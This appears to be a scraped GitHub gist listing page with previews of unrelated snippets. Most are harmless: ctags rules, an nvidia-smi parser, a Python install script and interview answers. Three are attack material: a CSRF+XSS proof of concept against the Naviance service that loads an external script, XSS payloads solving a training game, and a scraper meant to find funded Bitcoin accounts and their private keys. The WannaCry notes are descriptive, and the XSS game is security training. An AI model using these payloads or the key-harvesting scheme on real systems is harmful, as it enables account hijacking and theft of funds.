Skip to content

Instantly share code, notes, and snippets.

View Arinerron's full-sized avatar
:shipit:
Free and Open Source Bugs (FOSB)

Aaron Esau Arinerron

:shipit:
Free and Open Source Bugs (FOSB)
View GitHub Profile

WannaCry|WannaDecrypt0r NSA-Cyberweapon-Powered Ransomware Worm

  • Virus Name: WannaCrypt, WannaCry, WanaCrypt0r, WCrypt, WCRY
  • Vector: All Windows versions before Windows 10 are vulnerable if not patched for MS-17-010. It uses EternalBlue MS17-010 to propagate.
  • Ransom: between $300 to $600. There is code to 'rm' (delete) files in the virus. Seems to reset if the virus crashes.
  • Backdooring: The worm loops through every RDP session on a system to run the ransomware as that user. It also installs the DOUBLEPULSAR backdoor. It corrupts shadow volumes to make recovery harder. (source: malwarebytes)
  • Kill switch: If the website www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is up the virus exits instead of infecting the host. (source: malwarebytes). This domain has been sinkholed, stopping the spread of the worm. Will not work if proxied (source).

update: A minor variant of the viru

vim ~/.ctags
--langdef=Solidity
--langmap=Solidity:.sol
--regex-Solidity=/^contract[ \t]+([a-zA-Z0-9_]+)/\1/c,contract/
--regex-Solidity=/[ \t]*function[ \t]+([a-zA-Z0-9_]+)/\1/f,function/
--regex-Solidity=/[ \t]*event[ \t]+([a-zA-Z0-9_]+)/\1/e,event/
--regex-Solidity=/[ \t]*(struct[ \t]+[a-zA-Z0-9_]+)([ \t]*\{)/\1/v,variable/
--regex-Solidity=/[ \t]*(enum[ \t]+[a-zA-Z0-9_]+)([ \t]*\{)/\1/v,variable/
--regex-Solidity=/[ \t]*mapping[ \t]+\(([a-zA-Z0-9_]+)[ \t]*=>[ \t]*([a-zA-Z0-9_]+)\)[ \t]+([a-zA-Z0-9_]+)/\3 (\1=>\2)/m,mapping/
@rueberger
rueberger / parse_nvidia_smi.py
Created April 20, 2017 21:40
Simple script that parses and returns the output of nvidia-smi
import commands
import numpy as np
def fetch_gpu_status():
""" Run nvidia-smi and parse the output
requires Python 2 only dependency
"""
status_code, output = commands.getstatusoutput('nvidia-smi')
@Arinerron
Arinerron / naviance.html
Created April 11, 2017 00:20
Naviance CSRF+XSS / proof of concept
<html>
<body>
<!--
Search for the string "[jsfile]" without quotes and replace it with the URL to your custom js file you want to run.
To test it out, replace "[jsfile]" with "https://arinerron.com/js/script.js".
-->
<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='https://connection.naviance.com/family-connection/success-planner/goals/save' target="csrf-frame" id="csrf-form">
@Arinerron
Arinerron / python.sh
Created January 17, 2017 02:06
Installs Python-3.4.2
wget https://www.python.org/ftp/python/3.4.2/Python-3.4.2.tgz
tar xvf Python-3.4.2.tgz
cd Python-3.4.2
./configure
make
make test
sudo make install
cd ..
rm -rf Python-3.4.2
rm Python-3.4.2.tgz
@Arinerron
Arinerron / xss-game-solutions.txt
Last active January 12, 2017 19:05
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
These are my solutions to http://xss-game.appspot.com/. I did not use any hints on these, but I took a while on the last two.
[Level 1]: Search for the string.
<script>alert(1)</script>
[Level 2]: Post the string
<img src=x onerror=javascript:alert(1)></img>
[Level 3]: Navigate to the URL
http://xss-game.appspot.com/level3/frame#1' onerror="javascript:alert(1)"
@Arinerron
Arinerron / ChaosWebs.java
Last active March 17, 2022 17:41
Detect when a new post is made on @beardog108's blog (https://chaoswebs.net/blog/).
import java.util.*;
import java.util.regex.Pattern;
import java.net.*;
import java.io.*;
public class ChaosWebs {
public static double time = 6 * 60 * 60 * 1000;
public static String filename = ".last_post.txt";
public static void main(String[] args) {
@aslam-hameed
aslam-hameed / interviewitems.MD
Created December 2, 2016 05:28 — forked from amaxwell01/interviewitems.MD
My answers to over 100 Google interview questions

##Google Interview Questions: Product Marketing Manager

  • Why do you want to join Google? -- Because I want to create tools for others to learn, for free. I didn't have a lot of money when growing up so I didn't get access to the same books, computers and resources that others had which caused money, I want to help ensure that others can learn on the same playing field regardless of their families wealth status or location.
  • What do you know about Google’s product and technology? -- A lot actually, I am a beta tester for numerous products, I use most of the Google tools such as: Search, Gmaill, Drive, Reader, Calendar, G+, YouTube, Web Master Tools, Keyword tools, Analytics etc.
  • If you are Product Manager for Google’s Adwords, how do you plan to market this?
  • What would you say during an AdWords or AdSense product seminar?
  • Who are Google’s competitors, and how does Google compete with them? -- Google competes on numerous fields: --- Search: Baidu, Bing, Duck Duck Go
@Arinerron
Arinerron / ctf
Last active July 21, 2017 22:53
==QPJJjYxJ0UapGbtJmCNUEb4JXdY9Cbn5ybvd2LvoDc0RHa
@Arinerron
Arinerron / Main.java
Last active August 7, 2021 09:08
Scrape BTC accounts and their balance. If you see one that isn't 0.0, go to the first URL that it prints somewhere above the BTC account, and you can get the private key for that account from the page.
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.URL;
import java.net.URLConnection;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
public class Main {
public static void main(String[] args) throws Exception {